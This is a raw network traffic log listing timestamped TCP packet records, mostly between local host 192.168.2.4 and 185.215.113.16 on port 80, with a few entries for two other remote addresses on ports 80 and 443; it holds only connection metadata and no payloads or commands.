Dec 20, 2024 11:12:49.100742102 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.101492882 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.101577997 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.101947069 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.102566957 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.102718115 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.103586912 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.103676081 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.103708029 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.104677916 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.104775906 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.104847908 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.105789900 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.105863094 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.105928898 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.106890917 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.107040882 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.107882977 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.107940912 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.107980967 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.108968973 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.109076977 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.109138012 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.110023022 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.110085964 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.111097097 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.111160994 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.111188889 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.111896992 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.112126112 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.112268925 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.113209963 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.113270044 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.113302946 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.114264011 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.114428997 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.114495993 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.115335941 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.115451097 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.115910053 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.116543055 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.116628885 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.117460966 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.117527962 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.117569923 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.118680954 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.118757963 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.118828058 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.119606018 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.119673967 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.119760990 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.120009899 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.120636940 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.120773077 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.121228933 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.121723890 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.121810913 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.121828079 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.122806072 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.122901917 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.122909069 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.122946024 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.123934031 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.123986959 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.124958992 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.125031948 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.125073910 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.125998020 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.126100063 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.126182079 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.127083063 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.127166033 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.127919912 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.128158092 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.128303051 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.129240990 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.129336119 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.129383087 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.129421949 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.130290985 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.130390882 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.131378889 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.131485939 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.131500006 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.131911039 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.132421017 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.132442951 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.135915995 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.269722939 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.269795895 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.270205021 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.270281076 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.270289898 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.271266937 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.271362066 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.271430969 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.272356987 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.272459030 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.273423910 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.273531914 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.273549080 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.274020910 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.274482965 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.274715900 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.275612116 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.275621891 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.275681973 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.276616096 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.276763916 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.277654886 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.277712107 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.277760029 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.278598070 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.278728008 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.278875113 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.279829025 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.279917955 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.279947996 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.280864954 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.280996084 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.281049013 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.281940937 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.282057047 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.283041000 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.283123016 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.283181906 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.283255100 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.284074068 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.284193039 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.285264969 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.285337925 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.285415888 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.286217928 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.286344051 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.286411047 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.287321091 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.287415981 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.287902117 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.288362980 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.288436890 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.289494991 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.289504051 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.289572001 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.290488958 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.290607929 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.291528940 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.291600943 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.291652918 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.291901112 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.292593002 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.292712927 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.293030977 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.293667078 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.293768883 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.294692993 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.294714928 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.294859886 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.295783997 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.295850039 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.295883894 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.296858072 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.296950102 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.297020912 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.297928095 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.297991037 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.298042059 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.299072027 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.299211025 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.299269915 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.300065994 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.300128937 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.301136017 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.301194906 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.301234961 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.302215099 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.302242994 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.302356958 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.303356886 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.303478003 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.303908110 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.304336071 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.304428101 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.305483103 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.305551052 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.305617094 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.306600094 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.306641102 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.306760073 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.306847095 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:49.307575941 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.307774067 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.307873964 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:49.307883024 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.308609009 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.308674097 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.308698893 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.309648037 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.309942961 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.310005903 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.310729027 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.310887098 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.311790943 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.311875105 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.311908960 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.312835932 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.312901020 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.312992096 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.313976049 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.314076900 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.314182997 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.314969063 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.315062046 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.315903902 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.316049099 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.316157103 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.317118883 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.317189932 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.317229986 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.318183899 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.318310976 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.318352938 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.318382025 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.319327116 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.319410086 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.319899082 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.320322990 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.320451021 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.321374893 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.321461916 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.321480036 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.322433949 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.322542906 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.322602987 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.323540926 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.323673010 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.323909044 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.324604034 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.324712992 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.325571060 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.325743914 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.404932976 CET	443	49873	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:49.405050039 CET	443	49873	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:49.407516956 CET	49873	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:49.462097883 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.462212086 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.462282896 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.462585926 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.462781906 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.463594913 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.463650942 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.463772058 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.463828087 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.464729071 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.464797020 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.464864969 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.465785980 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.465848923 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.465873003 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.465929985 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.466829062 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.466944933 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.466945887 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.467003107 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.467886925 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.467946053 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.469156027 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.469218016 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.469360113 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.470046997 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.470288038 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.470355988 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.471106052 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.471210957 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.471271038 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.472183943 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.472312927 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.472978115 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.473253965 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.473356962 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.473428965 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.474289894 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.474397898 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.475353956 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.475439072 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.475471973 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.475745916 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.476443052 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.476505041 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.476628065 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.477525949 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.477597952 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.477669001 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.478610992 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.478712082 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.478890896 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.479650974 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.479825974 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.479928017 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.480520964 CET	49873	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:49.480520964 CET	49873	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:49.480566025 CET	443	49873	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:49.480592966 CET	443	49873	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:49.480685949 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.480797052 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.481784105 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.481852055 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.481889009 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.482825041 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.482876062 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.482877016 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.482965946 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.483711004 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.483910084 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.483998060 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.484075069 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.484982014 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.485147953 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.485184908 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.485299110 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.486064911 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.486133099 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.486135960 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.486191034 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.487107992 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.487190962 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.487211943 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.487912893 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.488169909 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.488279104 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.488574028 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.489387035 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.489447117 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.489461899 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.489521980 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.490299940 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.490454912 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.490462065 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.490526915 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.491389990 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.491499901 CET	80	49866	185.215.113.16	192.168.2.4
